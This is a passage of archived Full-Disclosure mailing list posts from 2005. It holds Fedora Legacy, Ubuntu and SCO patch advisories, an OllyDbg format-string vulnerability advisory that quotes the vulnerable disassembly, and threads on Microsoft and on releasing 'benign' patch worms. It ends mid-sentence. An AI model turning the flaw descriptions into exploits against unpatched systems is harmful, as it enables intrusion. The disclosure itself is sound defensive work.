[Full-disclosure] [FLSA-2005:154988] Updated openoffice.org packages fix security issues
- Fedora Legacy Update Advisory Synopsis: Updated openoffice.org packages fix security issues Advisory ID: FLSA:154988 Issue date:2005-05-12 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CAN-2004-0752 CAN-2005-0941 - - 1. Topic: Updated openoffice.org packages that fix two security issues are now available. OpenOffice.org is an office productivity suite that includes desktop applications such as a word processor, spreadsheet, presentation manager, formula editor, and drawing program. 2. Relevant releases/architectures: Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: Secunia Research reported an issue with the handling of temporary files. A malicious local user could use this flaw to access the contents of another user's open documents. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0752 to this issue. A heap based buffer overflow bug was found in the OpenOffice.org DOC file processor. An attacker could create a carefully crafted DOC file in such a way that it could cause OpenOffice.org to execute arbitrary code when the file was opened by a victim. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0941 to this issue. All users of OpenOffice.org are advised to upgrade to these updated packages which contain backported patches to correct these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=154989 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=154988 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=154742 6. RPMs required: Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/openoffice-1.0.2-11.2.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/openoffice-1.0.2-11.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/openoffice-i18n-1.0.2-11.2.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/openoffice-libs-1.0.2-11.2.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/openoffice.org-1.1.0-16.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/openoffice.org-1.1.0-16.2.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/openoffice.org-i18n-1.1.0-16.2.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/openoffice.org-libs-1.1.0-16.2.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/openoffice.org-1.1.3-11.4.0.fc2.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/openoffice.org-1.1.3-11.4.0.fc2.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/openoffice.org-i18n-1.1.3-11.4.0.fc2.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/openoffice.org-kde-1.1.3-11.4.0.fc2.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/openoffice.org-libs-1.1.3-11.4.0.fc2.i386.rpm 7. Verification: SHA1 sum Package Name - 8b3935db6ed8864aa0839971c272eacd4cb46963 redhat/9/updates/i386/openoffice-1.0.2-11.2.legacy.i386.rpm b3bbc948ec2c261fe0b44bc5f6ffd0d38243c241 redhat/9/updates/i386/openoffice-i18n-1.0.2-11.2.legacy.i386.rpm fc5a82e620de2fd69f3327382a44c6159c73087d redhat/9/updates/i386/openoffice-libs-1.0.2-11.2.legacy.i386.rpm b71dd5e5630c2967e78d4e9339075d736b6b6773 redhat/9/updates/SRPMS/openoffice-1.0.2-11.2.legacy.src.rpm e93f1b81c245b1d5168256b24aa8c82f6dacb2da fedora/1/updates/i386/openoffice.org-1.1.0-16.2.legacy.i386.rpm
[Full-disclosure] [FLSA-2005:152912] Updated imap packages fix security issues
- Fedora Legacy Update Advisory Synopsis: Updated imap packages fix security issues Advisory ID: FLSA:152912 Issue date:2005-05-12 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CAN-2003-0297 CAN-2005-0198 - - 1. Topic: Updated imap packages that fix security issues are now available. The imap package provides server daemons for both the IMAP (Internet Message Access Protocol) and POP (Post Office Protocol) mail access protocols. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 3. Problem description: A buffer overflow flaw was found in the c-client IMAP client. An attacker could create a malicious IMAP server that if connected to by a victim could execute arbitrary code on the client machine. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0297 to this issue. A logic error in the CRAM-MD5 code in the University of Washington IMAP (UW-IMAP) server was discovered. When Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5) is enabled, UW-IMAP does not properly enforce all the required conditions for successful authentication, which could allow remote attackers to authenticate as arbitrary users. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0198 to this issue. Users of imap are advised to upgrade to these updated packages, which contain a backported patch to correct this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152912 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/imap-2001a-10.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/imap-2001a-10.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/imap-devel-2001a-10.1.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/imap-2001a-18.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/imap-2001a-18.1.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/imap-devel-2001a-18.1.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/imap-2002d-3.1.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/imap-2002d-3.1.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/imap-devel-2002d-3.1.legacy.i386.rpm 7. Verification: SHA1 sum Package Name - 3dac230d4b4ed898d1adaf3e58ce5b13e80159dc redhat/7.3/updates/i386/imap-2001a-10.1.legacy.i386.rpm 766f42e2292693d1b0500dc151823d13382595c5 redhat/7.3/updates/i386/imap-devel-2001a-10.1.legacy.i386.rpm 787996b44c48692932c345e72d32b4460576570e redhat/7.3/updates/SRPMS/imap-2001a-10.1.legacy.src.rpm f4998e31f0121b54e6b618007a6c1a7ff8a08182 redhat/9/updates/i386/imap-2001a-18.1.legacy.i386.rpm d99cd4c0c0c83328a309c0263682dfbaa4e752ed redhat/9/updates/i386/imap-devel-2001a-18.1.legacy.i386.rpm 6f8cac716e78dfcfe307dc5b4db6c604e2f47049 redhat/9/updates/SRPMS/imap-2001a-18.1.legacy.src.rpm 69ef237bbd50fc425e00be7093d3de1ddd919de1 fedora/1/updates/i386/imap-2002d-3.1.legacy.i386.rpm 028d73692c13e4182788605987d246629e24df07 fedora/1/updates/i386/imap-devel-2002d-3.1.legacy.i386.rpm 732db7ca229fc939456a2db14ae65c46f2fd7586 fedora/1/updates/SRPMS/imap-2002d-3.1.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command:
[Full-disclosure] [FLSA-2005:152871] Updated nfs-utils package fixes security issue
- Fedora Legacy Update Advisory Synopsis: Updated nfs-utils package fixes security issue Advisory ID: FLSA:152871 Issue date:2005-05-12 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CAN-2004-1014 - - 1. Topic: An updated nfs-utils package that fixes a security issue is now available. The nfs-utils package provides a daemon for the kernel NFS server and related tools, providing a much higher level of performance than the traditional Linux NFS server used by most users. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 3. Problem description: SGI reported that the statd daemon did not properly handle the SIGPIPE signal. A misconfigured or malicious peer could cause statd to crash, leading to a denial of service. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1014 to this issue. All users of nfs-utils should upgrade to this updated package, which resolves this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152871 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/nfs-utils-0.3.3-6.73.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/nfs-utils-0.3.3-6.73.1.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/nfs-utils-1.0.1-3.9.1.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/nfs-utils-1.0.1-3.9.1.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/nfs-utils-1.0.6-1.1.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/nfs-utils-1.0.6-1.1.legacy.i386.rpm 7. Verification: SHA1 sum Package Name - 8c5abe86dcf8c54d71fdb7431df159405fed830b redhat/7.3/updates/i386/nfs-utils-0.3.3-6.73.1.legacy.i386.rpm e6ed500f9a027f882410942eeba7807a02e7684a redhat/7.3/updates/SRPMS/nfs-utils-0.3.3-6.73.1.legacy.src.rpm 4b5a41715061a0d4e04d2b7310657ccf9cb1a3cb redhat/9/updates/i386/nfs-utils-1.0.1-3.9.1.legacy.i386.rpm 37e2bb721b47e569bd9e6ee922532f9d9e8dcde3 redhat/9/updates/SRPMS/nfs-utils-1.0.1-3.9.1.legacy.src.rpm 8720cd5101f6d989e2f0695a54049561644ccd93 fedora/1/updates/i386/nfs-utils-1.0.6-1.1.legacy.i386.rpm 7320e145578c605b50ab7dcfb46ff4c152b0487c fedora/1/updates/SRPMS/nfs-utils-1.0.6-1.1.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v filename If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum filename 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1014 9. Contact: The Fedora Legacy security contact is [EMAIL PROTECTED]. More project details at http://www.fedoralegacy.org - signature.asc Description: OpenPGP digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [USN-126-1] GNU TLS library vulnerability
=== Ubuntu Security Notice USN-126-1 May 13, 2005 gnutls11, gnutls10 vulnerability CAN-2005-1431 === A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) Ubuntu 5.04 (Hoary Hedgehog) The following packages are affected: libgnutls10 libgnutls11 libgnutls11-dbg The problem can be corrected by upgrading the affected package to version 1.0.4-3ubuntu1.1 (for Ubuntu 4.10), or 1.0.16-13ubuntu0.1 (for Ubuntu 5.04). For most desktop applications, a standard system upgrade is sufficient to effect the necessary changes. However, if you are using server and long running applications that use libgnutls (cupsys, exim4, Gaim), you must restart them manually. If you can afford to reboot your machine, this is the easiest way to ensure that all services using this library are restarted correctly. Details follow: A Denial of Service vulnerability was discovered in the GNU TLS library, which provides common cryptographic algorithms and is used by many applications in Ubuntu. Due to a missing sanity check of the padding length field, specially crafted ciphertext blocks caused an out of bounds memory access which could crash the application. It was not possible to exploit this to execute any attacker specified code. Updated packages for Ubuntu 4.10 (Warty Warthog): Source archives: http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/gnutls10_1.0.4-3ubuntu1.1.diff.gz Size/MD5:49877 a421703ee46eaba0ac70a6d892069139 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/gnutls10_1.0.4-3ubuntu1.1.dsc Size/MD5: 863 831a452e9369be66097d520579a66354 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/gnutls10_1.0.4.orig.tar.gz Size/MD5: 1378290 565d2835b772008689476488265f4e99 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls-doc_1.0.4-3ubuntu1.1_all.deb Size/MD5: 553460 77af9be62e963e2771ff3ce9259dd086 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/g/gnutls10/gnutls-bin_1.0.4-3ubuntu1.1_amd64.deb Size/MD5: 193656 11b33a8fff25292ac2ae1b680de3c006 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls10-dev_1.0.4-3ubuntu1.1_amd64.deb Size/MD5: 367136 a5a4b023309977a4ac05abaf400ef65a http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls10_1.0.4-3ubuntu1.1_amd64.deb Size/MD5: 309288 9030fd065858abe487993fff229d9c61 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/g/gnutls10/gnutls-bin_1.0.4-3ubuntu1.1_i386.deb Size/MD5: 185176 6e27b1181c07ec15991bf30b227d559f http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls10-dev_1.0.4-3ubuntu1.1_i386.deb Size/MD5: 328650 9a3ef7584be77d7d6dbd136032f55e89 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls10_1.0.4-3ubuntu1.1_i386.deb Size/MD5: 279368 3f8c3b8ed3b96649c2a973846bc824f0 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/g/gnutls10/gnutls-bin_1.0.4-3ubuntu1.1_powerpc.deb Size/MD5: 195926 f0f90f8b4c004a70019a7188c78a2ffc http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls10-dev_1.0.4-3ubuntu1.1_powerpc.deb Size/MD5: 396076 88fba2e88301873bb674e34a398a1af4 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls10/libgnutls10_1.0.4-3ubuntu1.1_powerpc.deb Size/MD5: 284662 71c918cd7d3b1e445ac43be2705c1723 Updated packages for Ubuntu 5.04 (Hoary Hedgehog): Source archives: http://security.ubuntu.com/ubuntu/pool/main/g/gnutls11/gnutls11_1.0.16-13ubuntu0.1.diff.gz Size/MD5: 337831 08f61cd8a964751d06c208237985ac7b http://security.ubuntu.com/ubuntu/pool/main/g/gnutls11/gnutls11_1.0.16-13ubuntu0.1.dsc Size/MD5: 814 40bd2f5530ed7d27f5f6c8dcce325a4a http://security.ubuntu.com/ubuntu/pool/main/g/gnutls11/gnutls11_1.0.16.orig.tar.gz Size/MD5: 1504638 7b410fa3c563c7988e434a8c8671b3cd amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/g/gnutls11/gnutls-bin_1.0.16-13ubuntu0.1_amd64.deb Size/MD5: 217154 74e29f9aa85a515c7cf387a9a77ad901 http://security.ubuntu.com/ubuntu/pool/universe/g/gnutls11/libgnutls11-dbg_1.0.16-13ubuntu0.1_amd64.deb Size/MD5: 574984 9a68ba7e194b594265e48c81cea0c5d6 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls11/libgnutls11-dev_1.0.16-13ubuntu0.1_amd64.deb Size/MD5: 392034 bbbe41cdaac3a4402124be97b0b905f5 http://security.ubuntu.com/ubuntu/pool/main/g/gnutls11/libgnutls11_1.0.16-13ubuntu0.1_amd64.deb Size/MD5: 326610 4b973b460ab26e7c61fe66c99e745c37 i386 architecture (x86 compatible Intel/AMD)
[Full-disclosure] [FLSA-2005:155508] Updated cvs package fixes security issues
- Fedora Legacy Update Advisory Synopsis: Updated cvs package fixes security issues Advisory ID: FLSA:155508 Issue date:2005-05-12 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CAN-2005-0753 - - 1. Topic: An updated cvs package that fixes security bugs is now available. CVS (Concurrent Version System) is a version control system. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: A buffer overflow bug was found in the way the CVS client processes version and author information. If a user can be tricked into connecting to a malicious CVS server, an attacker could execute arbitrary code. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0753 to this issue. All users of cvs should upgrade to this updated package, which includes a backported patch to correct these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=155508 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/cvs-1.11.1p1-17.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/cvs-1.11.1p1-17.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/cvs-1.11.2-25.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/cvs-1.11.2-25.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/cvs-1.11.17-1.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/cvs-1.11.17-1.2.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/cvs-1.11.17-2.2.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/cvs-1.11.17-2.2.legacy.i386.rpm 7. Verification: SHA1 sum Package Name - 44748e23bd996cce24d4ee94f8d690d54c9f02bd redhat/7.3/updates/i386/cvs-1.11.1p1-17.legacy.i386.rpm 742788f35e85ea2914cc30138f81ca733720 redhat/7.3/updates/SRPMS/cvs-1.11.1p1-17.legacy.src.rpm 388ff1fb3678bbe9f548dd0de3b4c34a6b96edd0 redhat/9/updates/i386/cvs-1.11.2-25.legacy.i386.rpm cbe6667d386716c93de98f33f6a0e52ab4b2224f redhat/9/updates/SRPMS/cvs-1.11.2-25.legacy.src.rpm e88e07e612ef9a98760d7621feb62676c18744c2 fedora/1/updates/i386/cvs-1.11.17-1.2.legacy.i386.rpm 83f4ea1da32946f9d77dd0fc70ea8d8b651b15d3 fedora/1/updates/SRPMS/cvs-1.11.17-1.2.legacy.src.rpm e939ea46087822a17a68b6997ffd47df6cbe60bd fedora/2/updates/i386/cvs-1.11.17-2.2.legacy.i386.rpm b5fc3ff86a90d18e9515fe151e1915878c2aabf6 fedora/2/updates/SRPMS/cvs-1.11.17-2.2.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v filename If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum filename 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0753 9. Contact: The Fedora Legacy security contact is [EMAIL PROTECTED]. More project details at http://www.fedoralegacy.org - signature.asc Description: OpenPGP digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] OllyDbg INT3 AT Format String Vulnerability
OllyDbg INT3 AT Format String Vulnerability by Piotr Bania [EMAIL PROTECTED] http://pb.specialised.info Original location: http://pb.specialised.info/all/adv/olly-int3-adv.txt Severity: High / Medium - code execution. Version affected: Probably all versions, tested on v1.10. I. BACKGROUND OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. II. DESCRIPTION Vulnerability takes place when module (with special crafted file name) executes int 3 instruction (trap to debugger). Here is the vulnerable code: .text:0042FBE0 lea eax, [ebp+buffer] .text:0042FBE6 pusheax; format string .text:0042FBE7 mov edx, [ebp+var_28] .text:0042FBEA pushedx .text:0042FBEB callsub_42E100 ; _vsprintf- ;___vprinter Where format is an ascii string like: INT3 command at module_name.addr. Attacker can place a format string chars inside module_name (part of format buffor) and cause Olly to overwrite arbitary data. NOTE: Even with IGNORE INT3 BREAKS option checked, OllyDbg is still vulnerable. Attacker can also load some special crafted module (with special crafted name) while debugging, to make the attack more stealthy. III. IMPACT This vulnerability after successful exploitation can allow the attacker to run arbitrary code in context of current user. Of course if the exploitation was not successful OllyDbg will fault and loose all debugged data. best regards, Piotr Bania -- Piotr Bania - [EMAIL PROTECTED] - 0xCD, 0x19 Fingerprint: 413E 51C7 912E 3D4E A62A BFA4 1FF6 689F BE43 AC33 http://pb.specialised.info - Key ID: 0xBE43AC33 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] MS launch subscription-based security service
On Fri, May 13, 2005 at 10:31:37AM +0100, imipak wrote: Security gripes? Microsoft feels your pain Published: May 12, 2005, 9:00 PM PDT By John Borland Staff Writer, CNET News.com there is another interesting story at the register: according to: http://www.theregister.co.uk/2005/05/09/microsoft_on_sp2_security_process/ a female with the romantic name *Window* Snyder (security strategist for Microsoft) claims: --- Moreover, the company found and fixed two classes of vulnerabilities that have not been discovered elsewhere, she said. These are entire classes of vulnerabilities that I haven't seen externally, Snyder said. When they found these, (the developers) went on a mission, found them in all parts of the system, and got rid of them. Snyder *remained mum on the details*, however, even giving the families of vulnerabilities fake code names: Ginger and Photon. - for those who missed it, m$ are keeping classes of bugs for themselves, but they want everyone to cooperate with them and handle m$ their 0days, so they have more bugs and billg have more $$$. nice, clever and ethical plan. -- where do you want bill gates to go today? ** junk below ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Benign Worms
Hi, I am an academic researcher. I benefited a lot during my previous interaction at the full disclosure list on a different topic and now, I am here to get some input on benign worms. There is debate surrounding whether releasing benign worms such as Nachi or Welcha, in general is ethical or not. But network administrators can still create benign worms for their need (not necessarily Nachi or Welcha) and release them in their domain to patch systems. 1. Do people do that? Or at least, have you considered it? 2. If yes, under what conditions would you do that? 3. If not, what prevents you from doing that? Best Karthik _ Dont just search. Find. Check out the new MSN Search! http://search.msn.click-url.com/go/onm00200636ave/direct/01/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] OpenServer 5.0.7 UnixWare 7.1.4 UnixWare 7.1.3 : Hyper-Threading information leakage
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 __ SCO Security Advisory Subject:OpenServer 5.0.7 UnixWare 7.1.4 UnixWare 7.1.3 : Hyper-Threading information leakage Advisory number:SCOSA-2005.24 Issue date: 2005 May 13 Cross reference:sr893223 fz531468 erg712804 sr893224 fz531469 erg712805 CAN-2005-0109 __ 1. Problem Description Hyper-Threading (HT) Technology allows two series of instructions to run simultaneously and independently on a single Intel(R) Xeon (TM) or HT-enabled Intel Pentium(R) 4 processor. With Hyper-Threading Technology enabled, the system treats a physical processor as two logical processors. Each logical processor is allocated a thread on which to work, as well as a share of execution resources such as cache memories, execution units, and buses. In Colin Percival's paper Cache Missing for Fun and Profit, he describes the problem of sharing of caches which could provide a high bandwidth covert channel between threads, and could also permit a malicious thread operating with limited privileges to monitor the execution of another thread, allowing in some cases for theft of cryptographic key data. This issue affects OpenServer 5.0.7 if SMP is installed and any Update Pack is applied. It also affects UnixWare 7.1.4 and 7.1.3 if Hyper-Threading is enabled. (Hyper-Threading is disabled in UnixWare by default.) The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2005-0109 to this issue. 2. Vulnerable Supported Versions System -- OpenServer 5.0.7 with SMP and any Update Pack installed UnixWare 7.1.4 with Hyper-Threading enabled UnixWare 7.1.3 with Hyper-Threading enabled 3. Solution The proper solution is to disable Hyper-Threading, unless you are certain that (1) no authorized users of your system have the ability to run a malicious program, and (2) it is not possible for any unauthorized users to access the system. 4. OpenServer 5.0.7 4.1 Workaround SCO OpenServer supports Hyper-Threading Technology via the SCO OpenServer Release 5.0.7 Symmetrical Multiprocessing (SMP) product. When SMP plus any Update Pack is installed, Hyper-Threading is enabled by default. To disable Hyper-Threading, update the crllry_hyperthread_enable kernel variable. This variable is defined in the /etc/conf/pack.d/crllry/space.c file. Specify a value of 0 to disable Hyper-Threading. To modify this variable, edit the file, then relink and reboot the kernel. You can use the cpuonoff -c command to display the processor status. See the hyperthread(HW) man page for details. 5. UnixWare 7.1.4 / UnixWare 7.1.3 5.1 Workaround Hyperthreading is supported on UnixWare 7.1.3 and 7.1.4 when the osmp package is installed. It is disabled by default. If it has been enabled, remove the ENABLE_JT=Y line from /stand/boot to disable it. Then use the command shutdown -i6 -g0 -y to rebuild the kernel and reboot the system. You can use the psrinfo(1M) command to display the processor status. See the ENABLE_JT (Jackson Technology) boot parameter in the boot(4) man page for details. 6 Location of this security advisory ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.24 and ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2005.24 7. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0109 SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix is tracked by SCO incidents sr893223 fz531468 erg712804 sr893224 fz531469 erg712805. 8. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 9. Acknowledgments SCO would like to thank Colin Percival. __ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (SCO/SYSV)
Re: [Full-disclosure] Benign Worms
On Fri, 13 May 2005 11:13:03 CDT, k k said: (Yes, even the best of us hit 'send' too soon sometimes ;) There is debate surrounding whether releasing benign worms such as Nachi or Welcha, in general is ethical or not. Oh? Who has lined up on the it's a good idea side of the room? I suspect that There is debate means either: 1) The same sort of people who are still debating if the world is round or flat. 2) Ass-wipe academics who probably have never even *tried* to patch their own systems, but feel qualified to talk about doing it to other people without their prior informed consent. Given that most academics agree that prior informed consent is a Good Thing, it will be a true ass-wipe (even for an academic) who thinks doing it without consent is a wise idea. 3) Somebody thinks that somebody else saying Yeah, it would be a good idea, except this long list of reasons its's bad indicates a debate. Yes, there's quite likely overlap between the groups. pgpsDM9Y70p4S.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Benign Worms
k k wrote: I am an academic researcher. I benefited a lot during my previous interaction at the full disclosure list on a different topic and now, I am here to get some input on benign worms. There is debate surrounding whether releasing benign worms such as Nachi or Welcha, in general is ethical or not. But network administrators can still create benign worms for their need (not necessarily Nachi or Welcha) and release them in their domain to patch systems. 1. Do people do that? Or at least, have you considered it? 2. If yes, under what conditions would you do that? 3. If not, what prevents you from doing that? Adding self propagation features to any program is problematic at best. A good example of what can happen is the Nachi worm (a.k.a., MSBlast.D and Welchia), which probably caused more havoc inside corporate networks than the original MSBlast (a.k.a. Blaster worm) because of its over-aggressive attempts at propagation. http://news.com.com/Worm+double+whammy+still+hitting+hard/2100-1002_3-5066875.html All one has to do, in fact, is go back to the original incident where the term worm was first used and you can see the danger. Two researchers at Xerox PARC decided to use a worm to update experimental Ethernet drivers and ended up disrupting the entire network and crashing all their nodes. The 